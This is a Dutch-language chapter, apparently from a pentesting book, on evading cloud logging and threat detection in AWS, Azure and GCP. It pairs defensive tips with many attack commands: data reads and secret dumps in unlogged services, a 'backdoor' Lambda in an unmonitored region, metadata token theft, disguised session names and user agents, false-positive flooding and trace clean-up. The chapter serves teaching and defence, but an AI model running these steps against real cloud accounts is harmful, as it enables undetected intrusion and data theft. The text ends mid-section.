Cloud Detectie Ontwijken

Waarin we leren dat de cloud alles logt – behalve de dingen die ertoe doen


Er bestaat een wijdverbreid geloof in de security-industrie dat de cloud inherent beter te monitoren is dan een on-premise omgeving. En op papier klopt dat. CloudTrail logt elke API-call. Azure Monitor vangt elke management-actie. GCP Cloud Audit Logs registreert elke administratieve operatie. Het is een auditor’s droom.

De werkelijkheid is – zoals altijd – wat genuanceerder. Ja, de cloud logt veel. Maar “veel loggen” is niet hetzelfde als “alles loggen.” Er zijn gaten. Blinde vlekken. Hele categorieen van activiteiten die simpelweg niet worden geregistreerd. En zelfs als iets wel wordt gelogd, moet iemand die logs ook daadwerkelijk lezen. Een CloudTrail die naar een S3-bucket schrijft waar niemand naar kijkt, is net zo nuttig als een beveiligingscamera die naar een muur wijst.

Dit hoofdstuk gaat over die gaten. Over wat er niet wordt gelogd, hoe je logging kunt ontwijken, en hoe je – als verdediger – die blinde vlekken kunt dichten. Het is tegelijkertijd een handleiding en een waarschuwing.

IB Tip: De eerste stap in cloud evasion is niet het ontwijken van logging – het is het begrijpen van wat er wordt gelogd. Lees de documentatie van CloudTrail, Azure Monitor en GCP Audit Logs. Begrijp welke events management events zijn en welke data events. Begrijp welke services standaard worden gelogd en welke niet. De gaten zitten in de details.


11.1 Cloud Logging Landschap

AWS CloudTrail

CloudTrail is de backbone van AWS-logging. Het registreert API-calls naar AWS-services.

CloudTrail Event Types:
+----------------------------+----------------------------------+-------------------+
| Type                       | Wat wordt gelogd                 | Standaard actief? |
+----------------------------+----------------------------------+-------------------+
| Management Events          | Control plane operaties          | Ja                |
|                            | (CreateBucket, RunInstances,     |                   |
|                            |  AssumeRole, etc.)               |                   |
+----------------------------+----------------------------------+-------------------+
| Data Events                | Data plane operaties             | NEE               |
|                            | (S3 GetObject/PutObject,         |                   |
|                            |  Lambda Invoke, DynamoDB         |                   |
|                            |  GetItem/PutItem)                |                   |
+----------------------------+----------------------------------+-------------------+
| Insights Events            | Anomalie-detectie op API-volume  | NEE               |
|                            | (ongebruikelijke pieken)         |                   |
+----------------------------+----------------------------------+-------------------+
| Network Activity Events    | VPC-gerelateerde API calls       | NEE               |
|                            | (nieuw sinds 2024)               |                   |
+----------------------------+----------------------------------+-------------------+
# Bekijk de huidige CloudTrail configuratie
aws cloudtrail describe-trails

# Bekijk welke event selectors actief zijn
aws cloudtrail get-event-selectors --trail-name management-trail

# Bekijk of insights zijn ingeschakeld
aws cloudtrail get-insight-selectors --trail-name management-trail

# Zoek naar recente events
aws cloudtrail lookup-events \
  --max-results 20 \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin

Azure Monitor

Azure Monitor is een overkoepelende term voor meerdere logging-diensten.

Azure Logging Componenten:
+----------------------------+----------------------------------+-------------------+
| Component                  | Wat wordt gelogd                 | Retentie          |
+----------------------------+----------------------------------+-------------------+
| Activity Log               | Subscription-level operaties     | 90 dagen          |
|                            | (resource CRUD, role assignments) | (gratis)          |
+----------------------------+----------------------------------+-------------------+
| Azure AD Sign-in Logs      | Interactieve en niet-interactieve| 30 dagen (free)   |
|                            | sign-ins, service principal      | 30 dagen (P1/P2)  |
|                            | sign-ins                         |                   |
+----------------------------+----------------------------------+-------------------+
| Azure AD Audit Logs        | Directory-wijzigingen            | 30 dagen          |
|                            | (user/group/app changes)         |                   |
+----------------------------+----------------------------------+-------------------+
| Diagnostic Logs            | Resource-specifieke logs         | Configureerbaar   |
|                            | (NSG flow, Key Vault access,     |                   |
|                            |  SQL audit, etc.)                |                   |
+----------------------------+----------------------------------+-------------------+
| Microsoft Defender Alerts  | Security-alerts en incidents     | 180 dagen         |
+----------------------------+----------------------------------+-------------------+
# Bekijk het Activity Log
az monitor activity-log list \
  --start-time $(date -d '24 hours ago' -u +%Y-%m-%dT%H:%M:%SZ) \
  --query '[].{time:eventTimestamp, op:operationName.value, status:status.value, caller:caller}' \
  -o table

# Bekijk Azure AD sign-in logs
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/auditLogs/signIns?\$top=20&\$orderby=createdDateTime desc" \
  | jq '.value[] | {time: .createdDateTime, user: .userPrincipalName, app: .appDisplayName, status: .status.errorCode}'

GCP Cloud Audit Logs

GCP Audit Log Types:
+----------------------------+----------------------------------+-------------------+
| Type                       | Wat wordt gelogd                 | Standaard actief? |
+----------------------------+----------------------------------+-------------------+
| Admin Activity             | Resource configuratie-wijzigingen | Ja (altijd)       |
|                            | (kan niet worden uitgeschakeld)  |                   |
+----------------------------+----------------------------------+-------------------+
| Data Access                | Resource data lezen/schrijven    | NEE (behalve      |
|                            | (BigQuery altijd aan)            | BigQuery)         |
+----------------------------+----------------------------------+-------------------+
| System Event               | Google-initiated configuratie    | Ja (altijd)       |
|                            | wijzigingen                      |                   |
+----------------------------+----------------------------------+-------------------+
| Policy Denied              | Access denied events             | Ja (altijd)       |
+----------------------------+----------------------------------+-------------------+
# Bekijk recente audit logs
gcloud logging read "logName:cloudaudit.googleapis.com" \
  --limit 20 \
  --format json

# Filter op specifieke activiteiten
gcloud logging read '
  logName="projects/PROJECT_ID/logs/cloudaudit.googleapis.com%2Factivity"
  AND protoPayload.methodName="google.iam.admin.v1.CreateServiceAccount"
' --limit 10

Wat Wordt Gelogd en Wat Niet

Dit is de cruciale vraag. De gaten in de logging zijn precies daar waar aanvallers opereren.

Wat wordt WEL gelogd (standaard):        Wat wordt NIET gelogd (standaard):
+--------------------------------------+  +--------------------------------------+
| AWS:                                 |  | AWS:                                 |
| - IAM operaties                      |  | - S3 GetObject/PutObject (data)      |
| - EC2 RunInstances/TerminateInstances|  | - Lambda Invoke                      |
| - AssumeRole                         |  | - DynamoDB GetItem/PutItem           |
| - ConsoleLogin                       |  | - KMS Encrypt/Decrypt                |
| - CreateBucket                       |  | - STS GetCallerIdentity*             |
|                                      |  | - Sommige read-only API calls        |
+--------------------------------------+  |                                      |
| Azure:                               |  +--------------------------------------+
| - Resource CRUD                      |  | Azure:                               |
| - Role assignments                   |  | - Key Vault data plane (zonder diag) |
| - NSG wijzigingen                    |  | - Storage data plane (zonder diag)   |
|                                      |  | - SQL query data (zonder audit)      |
+--------------------------------------+  |                                      |
| GCP:                                 |  +--------------------------------------+
| - IAM policy wijzigingen             |  | GCP:                                 |
| - Resource creation/deletion         |  | - GCS object access (zonder data     |
| - Service account key creation       |  |   access logs)                       |
|                                      |  | - Compute instance SSH               |
+--------------------------------------+  | - Cloud Functions invocations        |
                                          +--------------------------------------+
* GetCallerIdentity wordt sinds 2024 wel gelogd in sommige configuraties

11.2 CloudTrail Evasion

Event Selectors

CloudTrail event selectors bepalen welke events worden gelogd. Standaard worden alleen management events gelogd. Data events (S3 reads/writes, Lambda invocations) vereisen expliciete configuratie.

# Bekijk welke event selectors actief zijn
aws cloudtrail get-event-selectors --trail-name main-trail

# Typische output -- alleen management events:
# {
#   "EventSelectors": [{
#     "ReadWriteType": "All",
#     "IncludeManagementEvents": true,
#     "DataResources": [],        <-- GEEN data events!
#     "ExcludeManagementEventSources": []
#   }]
# }

# Dit betekent:
# - S3 object reads/writes worden NIET gelogd
# - Lambda invocations worden NIET gelogd
# - DynamoDB reads/writes worden NIET gelogd

Exploitatie van ontbrekende data events:

# Lees data uit S3 -- niet gelogd als data events niet zijn ingeschakeld
aws s3 cp s3://sensitive-bucket/financial-data/report.xlsx ./

# Roep Lambda functies aan -- niet gelogd
aws lambda invoke --function-name data-processor --payload '{}' output.json

# Lees DynamoDB items -- niet gelogd
aws dynamodb get-item --table-name UserSecrets --key '{"userId": {"S": "admin"}}'

# Decrypt KMS data -- niet gelogd
aws kms decrypt --ciphertext-blob fileb://encrypted-data.blob --output text --query Plaintext | base64 -d

Management vs Data Events

Het verschil tussen management en data events is cruciaal voor evasion.

Management Events (standaard gelogd):    Data Events (vaak niet gelogd):
CreateBucket                              GetObject / PutObject (S3)
DeleteBucket                              Invoke (Lambda)
PutBucketPolicy                           GetItem / PutItem (DynamoDB)
CreateRole                                Encrypt / Decrypt (KMS)
AttachRolePolicy                          GetSecretValue (Secrets Manager)*
AssumeRole                                SendMessage (SQS)
RunInstances                              Publish (SNS)

* Secrets Manager GetSecretValue is een management event in CloudTrail,
  maar wordt soms gemist door SIEM-regels die alleen op "destructieve"
  events filteren.
# Scenario: je hebt credentials en wilt data stelen zonder detectie

# GELOGD (management event):
aws s3 ls  # ListBuckets
aws s3 ls s3://target-bucket  # ListObjectsV2

# NIET GELOGD (data event, tenzij expliciet geconfigureerd):
aws s3 cp s3://target-bucket/secrets/api-keys.json ./  # GetObject

# De aanvaller weet WEL welke buckets er zijn (management event),
# maar de verdediger ziet NIET dat er data is gedownload (data event)

Regions Zonder Trail

CloudTrail kan per-region of multi-region zijn geconfigureerd. Als een trail alleen in eu-west-1 is geconfigureerd, zijn acties in us-east-1 onzichtbaar.

# Check of de trail multi-region is
aws cloudtrail describe-trails --query 'trailList[].{Name:Name, MultiRegion:IsMultiRegionTrail, Home:HomeRegion}'

# Als de trail NIET multi-region is:
# Voer acties uit in een region zonder trail
aws lambda create-function \
  --function-name backdoor \
  --runtime python3.11 \
  --handler index.handler \
  --role arn:aws:iam::111111111111:role/LambdaRole \
  --zip-file fileb://payload.zip \
  --region ap-southeast-1  # Exotische regio zonder trail

# Of deploy resources in een region die niemand monitort
aws ec2 run-instances \
  --image-id ami-0abc123 \
  --instance-type t3.micro \
  --region af-south-1  # Cape Town -- wie kijkt daar?

IB Tip: Configureer ALTIJD een multi-region trail. Beter nog: configureer een organization trail vanuit het AWS Organizations management account. Dit dekt alle accounts en alle regio’s. Controleer: aws cloudtrail describe-trails --query 'trailList[?IsMultiRegionTrail==false].Name' – als dit resultaten geeft, heb je een probleem.

Non-Logged API Calls

Sommige AWS API-calls worden simpelweg niet gelogd door CloudTrail, ongeacht de configuratie.

# API calls die NIET in CloudTrail verschijnen:
# (Dit verandert regelmatig -- AWS voegt geleidelijk logging toe)

# Sommige read-only calls:
aws sts get-caller-identity         # Soms niet gelogd (afhankelijk van versie)
aws sts get-session-token           # Vaak niet gelogd
aws iam generate-credential-report  # Management event, maar soms gemist

# Metadata service calls (vanuit EC2/Lambda):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName
# IMDS calls zijn NOOIT zichtbaar in CloudTrail

# Calls naar S3 presigned URLs:
# De originele CreatePresignedUrl is een client-side operatie (niet gelogd)
# De GET/PUT op de presigned URL is een data event
curl "https://bucket.s3.amazonaws.com/object?X-Amz-Algorithm=AWS4-HMAC-SHA256&..."

Organizations Trail Gaps

# AWS Organizations trail zou alles moeten loggen, maar:

# 1. Nieuwe accounts hebben een delay voordat logging start
# 2. SCPs (Service Control Policies) kunnen CloudTrail niet blokkeren,
#    maar ze kunnen wel de trail-configuratie beschermen

# 3. Als een member account een eigen trail heeft die data events logt,
#    vervangt de org trail die NIET
# De org trail logt alleen wat geconfigureerd is op org-niveau

# Check of er een organization trail is
aws cloudtrail describe-trails --query 'trailList[?IsOrganizationTrail==`true`]'

# Check event selectors van de org trail
aws cloudtrail get-event-selectors --trail-name org-trail

11.3 Azure Monitor Evasion

Diagnostic Settings Gaps

Azure Diagnostic Settings moeten expliciet worden geconfigureerd per resource. Zonder diagnostic settings worden data plane operaties niet gelogd.

# Bekijk welke resources diagnostic settings hebben
az monitor diagnostic-settings list \
  --resource /subscriptions/SUB_ID/resourceGroups/prod-rg/providers/Microsoft.KeyVault/vaults/prod-keyvault

# Als dit leeg is: Key Vault access wordt NIET gelogd!

# Controleer alle Key Vaults op diagnostic settings
for vault in $(az keyvault list --query '[].id' -o tsv); do
  settings=$(az monitor diagnostic-settings list --resource "$vault" --query 'value[].name' -o tsv)
  if [ -z "$settings" ]; then
    echo "GEEN DIAGNOSTICS: $vault"
  fi
done

# Exploitatie: lees secrets zonder logging
az keyvault secret show --vault-name unmonitored-vault --name admin-password

Storage accounts zonder diagnostic settings:

# Check storage account diagnostics
az monitor diagnostic-settings list \
  --resource /subscriptions/SUB_ID/resourceGroups/rg/providers/Microsoft.Storage/storageAccounts/storageacct

# Zonder diagnostics: blob reads/writes zijn onzichtbaar
az storage blob download \
  --account-name unmonitored-storage \
  --container-name secrets \
  --name database-backup.sql \
  --file ./stolen-backup.sql

Activity Log Retention

Azure Activity Log heeft standaard 90 dagen retentie. Na die periode zijn de logs weg – tenzij ze naar een Log Analytics workspace of Storage account worden doorgestuurd.

# Check Activity Log export configuratie
az monitor diagnostic-settings list \
  --resource "/subscriptions/SUB_ID" \
  --resource-type "Microsoft.Insights/diagnosticSettings"

# Als er geen export is geconfigureerd:
# - Activity logs ouder dan 90 dagen zijn permanent verloren
# - Forensisch onderzoek na 90 dagen is onmogelijk

# Strategie: als aanvaller, wees geduldig
# Acties van >90 dagen geleden zijn ondetecteerbaar

Sign-in Logs vs Audit Logs

Azure AD heeft twee types logs die vaak verward worden:

# Sign-in logs: wie heeft zich wanneer aangemeld
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/auditLogs/signIns?\$top=5" \
  | jq '.value[] | {time: .createdDateTime, user: .userPrincipalName, app: .appDisplayName, ip: .ipAddress}'

# Audit logs: wat is er gewijzigd in de directory
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$top=5" \
  | jq '.value[] | {time: .activityDateTime, activity: .activityDisplayName, actor: .initiatedBy.user.userPrincipalName}'

# Belangrijk verschil:
# - Service principal sign-ins staan in een APART log
# - Niet-interactieve sign-ins staan in een APART log
# - Beide worden vaak NIET doorgestuurd naar de SIEM

Evasion via service principal:

# Service principal sign-ins zijn minder zichtbaar dan user sign-ins
# Veel organisaties monitoren alleen "interactieve" sign-ins

# Login als service principal (geen MFA, geen conditional access alerts)
az login --service-principal \
  -u "$APP_ID" \
  -p "$CLIENT_SECRET" \
  --tenant "$TENANT_ID"

# Dit verschijnt in:
# - Service principal sign-in logs (apart log, vaak niet gemonitord)
# - NIET in interactieve sign-in logs
# - NIET in audit logs (tenzij er directory-wijzigingen worden gedaan)

11.4 GCP Audit Log Evasion

Admin Activity vs Data Access

# Admin Activity logs zijn ALTIJD aan en KUNNEN NIET worden uitgeschakeld
# Dit is een bewuste keuze van Google -- goed voor verdedigers

# Maar Data Access logs zijn standaard UIT (behalve BigQuery)
# Check de huidige configuratie
gcloud projects get-iam-policy PROJECT_ID \
  --format json | jq '.auditConfigs'

# Typische output als data access logs NIET zijn geconfigureerd:
# null of []

# Dit betekent: reads op GCS, Datastore, Spanner, etc. worden NIET gelogd

# Exploitatie:
# Lees data uit GCS -- niet gelogd
gsutil cp gs://sensitive-bucket/customer-data.csv ./

# Lees data uit Firestore -- niet gelogd
gcloud firestore export gs://attacker-bucket/ --collection-ids=users

# Lees data uit BigQuery -- WEL gelogd (altijd aan)
bq query 'SELECT * FROM dataset.users LIMIT 100'
# ^ Dit is altijd zichtbaar, ook zonder expliciete configuratie

Exempted Services

GCP-audit logs kunnen worden geconfigureerd om bepaalde services uit te zonderen van data access logging.

# Bekijk of er exemptions zijn geconfigureerd
gcloud projects get-iam-policy PROJECT_ID --format json | \
  jq '.auditConfigs[] | select(.exemptedMembers != null)'

# Sommige service accounts worden vaak geexempt om kosten te besparen
# (Data access logs kosten geld per volume)

# Als je een geexempt service account kunt impersonaten:
gcloud auth print-access-token \
  --impersonate-service-account=exempted-sa@project.iam.gserviceaccount.com

# Nu zijn je data access operaties onzichtbaar

Organization-Level vs Project-Level

# Organization-level audit config overschrijft project-level
# MAAR: niet alle organisaties hebben org-level audit geconfigureerd

# Check org-level
gcloud organizations get-iam-policy ORG_ID --format json | jq '.auditConfigs'

# Check project-level
gcloud projects get-iam-policy PROJECT_ID --format json | jq '.auditConfigs'

# Als org-level geen data access logging afdwingt:
# Project owners kunnen hun eigen logging uitschakelen
# (Als ze de juiste rechten hebben)

11.5 GuardDuty en Defender Evasion

AWS GuardDuty

GuardDuty is AWS’s threat detection service. Het analyseert CloudTrail, VPC Flow Logs, DNS logs en (optioneel) S3 data events.

# Check of GuardDuty is ingeschakeld
aws guardduty list-detectors

# Bekijk de detector configuratie
aws guardduty get-detector --detector-id DETECTOR_ID

# GuardDuty detecteert onder andere:
# - Ongewone API calls vanuit ongewone locaties
# - EC2 instances die cryptocurrency minen
# - DNS queries naar bekende C2 domeinen
# - Credential exfiltration via IMDS
# - Brute force attacks op SSH/RDP

Bekende detection rules en hoe ze te vermijden:

# Finding: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
# Trigger: EC2 instance credentials worden buiten AWS gebruikt
# Evasion: gebruik de credentials VANUIT een andere AWS service
#          (Lambda, CloudShell, een andere EC2 instance)

# Finding: Recon:IAMUser/MaliciousIPCaller.Custom
# Trigger: API calls vanaf bekende malicious IPs
# Evasion: gebruik een VPN/proxy in een "schone" IP-range
#          Of beter: gebruik de target's eigen CloudShell of EC2

# Finding: Discovery:S3/MaliciousIPCaller.Custom
# Trigger: S3 API calls vanaf bekende malicious IPs
# Evasion: idem -- opereer vanuit "schone" infrastructuur

# Finding: Trojan:EC2/DNSDataExfiltration
# Trigger: DNS queries die op data exfiltratie lijken
# Evasion: gebruik HTTPS in plaats van DNS
#          Of gebruik korte, niet-encoded subdomains

# Finding: CryptoCurrency:EC2/BitcoinTool.B!DNS
# Trigger: DNS queries naar mining pools
# Evasion: niet relevant voor pentesting, maar goed om te weten

GuardDuty blinde vlekken:

# GuardDuty analyseert NIET:
# - CloudWatch Logs inhoud
# - Application-level logs
# - Container logs (ECS/EKS) -- behalve met EKS Audit Log Monitoring
# - Lambda function logs
# - RDS query logs

# GuardDuty heeft een delay van 5-15 minuten
# Snelle operaties kunnen worden uitgevoerd voordat alerts triggeren

# GuardDuty kan worden uitgeschakeld door een admin
# (Maar dat is een management event dat WEL in CloudTrail staat)
aws guardduty delete-detector --detector-id DETECTOR_ID
# ^ Dit is extreem opvallend -- doe dit niet

IB Tip: GuardDuty uitschakelen is de meest opvallende actie die je kunt doen. Het triggert een DeleteDetector event in CloudTrail en – als het goed is geconfigureerd – een alert in de SIEM. Bovendien, in een AWS Organization kan GuardDuty door het management account worden afgedwongen. De betere evasion-strategie is om binnen GuardDuty’s blinde vlekken te opereren.

Microsoft Defender for Cloud

# Bekijk Defender for Cloud status
az security pricing list --query '[].{name:name, tier:pricingTier}'

# Defender detecteert onder andere:
# - Anomalous Azure AD sign-ins
# - Suspicious VM activities
# - Kubernetes cluster attacks
# - SQL injection attempts
# - Brute force attacks

# Evasion strategieen:

# 1. Gebruik managed identities in plaats van user credentials
#    Managed identity tokens triggeren minder alerts
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# 2. Opereer binnen verwachte patronen
#    Als de app normaal gesproken Key Vault leest, is een extra read minder verdacht

# 3. Gebruik de Azure Cloud Shell als proxy
#    Acties vanuit Cloud Shell komen vanaf Microsoft IP-ranges
#    En worden geassocieerd met een "echte" user session

# 4. Vermijd bulk-operaties
#    10.000 API calls in een minuut triggert anomalie-detectie
#    100 calls verspreid over een uur niet

False Positive Generation

Een geavanceerde evasion-techniek: genereer zoveel false positives dat het security team echte alerts negeert (alert fatigue).

# Disclaimer: dit is een analyse-techniek, geen aanbeveling

# Genereer benigne GuardDuty findings door:
# 1. Veel DNS lookups naar verdacht-lijkende domeinen
for i in $(seq 1 100); do
  nslookup "random-${i}.suspicious-looking-domain.com" 2>/dev/null
done

# 2. Kleine hoeveelheden "verdachte" API calls
for i in $(seq 1 50); do
  aws iam list-users --max-items 1 2>/dev/null
  sleep $((RANDOM % 30 + 10))
done

# 3. Poortscans vanuit EC2 naar interne ranges
nmap -sn 10.0.0.0/24  # Triggert GuardDuty Recon:EC2/Portscan

# Het doel: het security team wordt overspoeld met low-severity alerts
# en mist de high-severity alert van de echte aanval

11.6 IP-Based Evasion

Cloud Shell als Proxy

Elke grote cloud provider biedt een browser-based shell. Acties vanuit Cloud Shell komen vanaf de provider’s eigen IP-ranges en worden geassocieerd met een legitieme user session.

# AWS CloudShell
# Beschikbaar via de AWS Console
# IP-range: AWS-owned (niet geassocieerd met de klant)
# CloudTrail toont de user's IAM identity, maar het source IP is een AWS IP

# Azure Cloud Shell
# https://shell.azure.com
# IP-range: Microsoft-owned
# Activity Log toont een Microsoft IP als source

# GCP Cloud Shell
# https://console.cloud.google.com/cloudshell
# IP-range: Google-owned
# Audit logs tonen een Google IP als source

# Voordeel: het source IP triggert geen geo-based alerts
# Het lijkt op normale cloud console activiteit

Using Target’s Own Compute

De meest effectieve IP-based evasion: gebruik de compute van het doelwit zelf.

# Methode 1: EC2 instance in de target account
# Als je een EC2 instance kunt starten of compromitteren,
# komen alle API calls vanaf een IP in de klant's VPC

# Methode 2: Lambda functie
# Lambda's draaien op AWS-owned IPs, maar:
# - In een VPC: het outbound IP is het NAT Gateway IP van de klant
# - Zonder VPC: het IP is een AWS Lambda IP

# Methode 3: SSM Session Manager
# Start een session naar een bestaande EC2 instance
aws ssm start-session --target i-0abc123def456789
# Nu opereer je VANUIT de EC2 instance
# Source IP = instance's VPC IP (voor API calls)
# Geen SSH nodig, geen security group wijziging nodig

# Methode 4: Azure Bastion
az network bastion ssh \
  --name bastion-host \
  --resource-group prod-rg \
  --target-resource-id /subscriptions/.../virtualMachines/target-vm \
  --auth-type AAD

VPN Through Cloud Services

# Gebruik een cloud VPN-dienst om je verkeer te routeren via een
# "vertrouwd" IP-adres

# Methode 1: SSH tunnel via een EC2 instance in de target account
ssh -D 1080 ec2-user@target-ec2-instance
# Nu gaat al je verkeer via de EC2 instance's IP

# Methode 2: WireGuard VPN op een kleine instance
# Deploy een t3.micro met WireGuard
# Route je pentest-verkeer erdoorheen

# Methode 3: Azure VPN Point-to-Site
# Als je de VPN configuratie kunt ophalen:
az network vnet-gateway vpn-client generate \
  --name target-vpn-gw \
  --resource-group net-rg \
  --processor-architecture X86
# Download en importeer de VPN client configuratie

11.7 Credential Evasion

Temporary Credentials

Temporary credentials (STS tokens) zijn moeilijker te tracken dan permanent access keys.

# Genereer temporary credentials via STS
aws sts get-session-token --duration-seconds 3600

# Of via AssumeRole
aws sts assume-role \
  --role-arn arn:aws:iam::111111111111:role/SomeRole \
  --role-session-name "session-$(date +%s)" \
  --duration-seconds 3600

# Voordelen van temporary credentials:
# 1. Ze verlopen automatisch (geen cleanup nodig)
# 2. De session name kan misleidend zijn
# 3. Ze zijn moeilijker te blacklisten (geen vaste key ID)
# 4. Veel monitoring tools focussen op permanent access keys

# Nadeel: AssumeRole IS een management event in CloudTrail
# Maar de GEBRUIKER van de temporary credentials is lastiger te tracken

STS Session Tokens

# Session tokens met misleidende session names
aws sts assume-role \
  --role-arn arn:aws:iam::111111111111:role/LambdaExecutionRole \
  --role-session-name "lambda-execution-b7d92a3f"
# Lijkt op een legitieme Lambda execution

aws sts assume-role \
  --role-arn arn:aws:iam::111111111111:role/AdminRole \
  --role-session-name "AWSCloudFormation-$(date +%s)"
# Lijkt op een CloudFormation operatie

# In CloudTrail verschijnt dit als:
# "arn:aws:sts::111111111111:assumed-role/AdminRole/AWSCloudFormation-1709395200"
# Wie gaat dit onderscheiden van een echte CloudFormation operatie?

Managed Identity Tokens

Azure Managed Identity tokens zijn bijzonder lastig te monitoren.

# Managed Identity token ophalen (vanuit de VM/Function zelf)
TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r '.access_token')

# Dit token:
# - Heeft een korte TTL (~1 uur standaard)
# - Is niet gekoppeld aan een user, maar aan een resource
# - Verschijnt in Azure AD sign-in logs als "Managed Identity" sign-in
#   (apart log dat vaak niet wordt gemonitord)
# - Kan NIET worden revoked (alleen wachten tot het verloopt)
# - Het IP-adres in de sign-in log is het IP van de resource
#   (wat een verwacht IP is)

# GCP equivalent:
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Het GCP service account token:
# - TTL van 1 uur
# - Niet individueel revocable
# - Verschijnt in audit logs met het service account als actor

Token Caching

# AWS credential caching -- gebruik van gecachede credentials
# vermindert het aantal AssumeRole calls in CloudTrail

# Stap 1: Assume een role en cache de credentials
CREDS=$(aws sts assume-role \
  --role-arn arn:aws:iam::111111111111:role/TargetRole \
  --role-session-name cached-session \
  --duration-seconds 43200)  # 12 uur

export AWS_ACCESS_KEY_ID=$(echo "$CREDS" | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS" | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo "$CREDS" | jq -r '.Credentials.SessionToken')

# Stap 2: Gebruik de gecachede credentials voor alle operaties
# Slechts 1 AssumeRole event in CloudTrail
# Alle volgende API calls gebruiken dezelfde session

# Stap 3: Na expiratie, vernieuw de credentials
# Dit genereert weer 1 AssumeRole event

IB Tip: Monitor AssumeRole events met ongebruikelijke DurationSeconds waarden. De standaard is 1 uur. Een session van 12 uur is verdacht. Monitor ook session names die patronen volgen van bekende AWS services (CloudFormation, CodePipeline, etc.) – een aanvaller die zich voordoet als een AWS service is een klassiek evasion-patroon.


11.8 API Evasion

Rate Limiting Awareness

Cloud providers implementeren rate limiting op hun API’s. Te veel calls in korte tijd triggert niet alleen throttling maar ook anomalie-detectie.

# AWS API rate limits zijn service-specifiek
# IAM: ~15 requests/seconde
# EC2: verschilt per actie
# S3: ~5.500 GET requests/seconde per prefix

# Evasion: spreek je calls over tijd
# In plaats van:
for i in $(seq 1 1000); do
  aws iam list-users
done
# ^ Dit triggert GuardDuty Recon:IAMUser/UserPermissions

# Gebruik:
for i in $(seq 1 1000); do
  aws iam list-users --max-items 1
  sleep $((RANDOM % 5 + 2))  # 2-7 seconden pauze
done
# ^ Verspreid over ~90 minuten, lijkt op normale activiteit

SDK vs Raw API

# AWS SDK calls en CLI calls zien er anders uit in CloudTrail

# CLI call:
aws s3 ls s3://bucket/
# CloudTrail userAgent: "aws-cli/2.15.0 Python/3.11.6 Linux/..."

# boto3 SDK call:
# CloudTrail userAgent: "Boto3/1.34.0 md/Botocore#1.34.0 ..."

# Custom SDK call:
# CloudTrail userAgent: "aws-sdk-java/2.21.0 Linux/..."

# Als het doelwit primair Java-applicaties draait,
# gebruik dan de Java SDK om op te gaan in het verkeer

# Stel een custom user agent in:
export AWS_SDK_UA_APP_ID="internal-monitoring/1.0"
aws s3 ls  # Toont nu een custom userAgent in CloudTrail

Python SDK met custom user agent:

import boto3
from botocore.config import Config

# Configureer een user agent die lijkt op een legitieme applicatie
config = Config(
    user_agent_extra="app/InternalMonitoring/2.1.0"
)

# Of gebruik de user agent van een bekende AWS service
config = Config(
    user_agent_extra="AWSCloudFormation/2.0"
)

s3 = boto3.client('s3', config=config)
s3.list_buckets()

User Agent Manipulation

# CloudTrail logt de user agent bij elke API call
# De user agent onthult welke tool/SDK is gebruikt

# Voorbeelden van user agents in CloudTrail:
# Console: "console.amazonaws.com"
# CLI: "aws-cli/2.15.0 Python/3.11.6 Darwin/23.1.0 ..."
# boto3: "Boto3/1.34.0 md/Botocore#1.34.0 ..."
# Terraform: "APN/1.0 HashiCorp/1.0 Terraform/1.7.0 ..."

# Als het doelwit Terraform gebruikt, masquerade als Terraform:
export AWS_EXECUTION_ENV="Terraform"

# Of via curl met een custom user agent
curl -s -X GET \
  "https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08" \
  -H "User-Agent: APN/1.0 HashiCorp/1.0 Terraform/1.7.0 (+https://www.terraform.io)" \
  --aws-sigv4 "aws:amz:eu-west-1:iam" \
  --user "ACCESS_KEY:SECRET_KEY"

# Azure: user agent in REST API calls
curl -s \
  -H "Authorization: Bearer $TOKEN" \
  -H "User-Agent: python-requests/2.31.0 azure-mgmt-compute/30.4.0 Azure-SDK-For-Python" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

11.9 Clean-Up Procedures

Removing Traces

Na een operatie wil je sporen verwijderen. Maar in de cloud is “sporen verwijderen” ingewikkelder dan op een server – je kunt CloudTrail niet deleten (nou ja, niet zonder dat het opvalt).

# WAT JE WEL KUNT DOEN:

# 1. Verwijder resources die je hebt aangemaakt
aws lambda delete-function --function-name backdoor-function
aws iam delete-user --user-name temp-user
aws ec2 terminate-instances --instance-ids i-0abc123

# 2. Verwijder je security groups
aws ec2 delete-security-group --group-id sg-xyz789

# 3. Verwijder je IAM policies
aws iam delete-role-policy --role-name TargetRole --policy-name backdoor-policy
aws iam detach-role-policy --role-name TargetRole --policy-arn arn:aws:iam::111111111111:policy/temp-policy
aws iam delete-policy --policy-arn arn:aws:iam::111111111111:policy/temp-policy

# 4. Verwijder EventBridge rules en targets
aws events remove-targets --rule backdoor-rule --ids target1
aws events delete-rule --name backdoor-rule

# WAT JE NIET KUNT DOEN:
# - CloudTrail logs verwijderen (ze staan in een S3 bucket met MFA delete)
# - Azure Activity Logs verwijderen (geen API voor)
# - GCP Admin Activity logs verwijderen (immutable)

Resetting Credentials

# Als je credentials hebt gewijzigd of aangemaakt, reset ze

# Verwijder extra access keys
aws iam delete-access-key \
  --user-name target-user \
  --access-key-id AKIAIOSFODNN7EXAMPLE

# Reset login profiles
aws iam delete-login-profile --user-name backdoor-user

# Azure: verwijder app credentials
az ad app credential delete \
  --id APP_ID \
  --key-id CREDENTIAL_KEY_ID

# Verwijder service principals
az ad sp delete --id SP_OBJECT_ID

Restoring Original Configurations

# Herstel trust policies naar de originele staat
# (bewaar de originele configuratie VOORDAT je wijzigingen maakt!)

# IAM trust policy terugzetten
aws iam update-assume-role-policy \
  --role-name ModifiedRole \
  --policy-document file://original-trust-policy.json

# S3 bucket notification configuratie terugzetten
